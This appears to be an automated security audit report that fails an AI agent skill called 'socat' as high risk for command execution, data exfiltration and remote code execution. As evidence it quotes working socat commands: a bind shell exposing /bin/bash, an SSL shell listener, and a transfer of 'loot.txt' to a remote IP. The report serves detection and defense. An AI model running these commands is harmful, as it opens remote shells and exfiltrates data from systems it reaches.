socat
Fail
Audited by Gen Agent Trust Hub on Sep 3, 2026
Risk Level: HIGHCOMMAND_EXECUTIONDATA_EXFILTRATIONREMOTE_CODE_EXECUTION
Full Analysis
- [COMMAND_EXECUTION]: The skill provides templates for creating bind shells by executing
/bin/bashthrough socat listeners. Evidence:socat TCP-LISTEN:4444,reuseaddr EXEC:/bin/bash,pty,stderr,setsid,sigint,sanein SKILL.md. - [DATA_EXFILTRATION]: The skill includes instructions for transferring local files to remote hosts, explicitly using an example for exfiltrating a file named
loot.txt. Evidence:socat -u FILE:/tmp/loot.txt TCP:10.10.10.1:4444in SKILL.md. - [REMOTE_CODE_EXECUTION]: The instructions facilitate remote command execution by providing templates for SSL-encrypted shell listeners and connectors. Evidence:
socat SSL-LISTEN:4444,cert=shell.pem,verify=0 EXEC:/bin/bash,pty,stderr,setsidin SKILL.md.
Recommendations
- AI detected serious security threats
Audit Metadata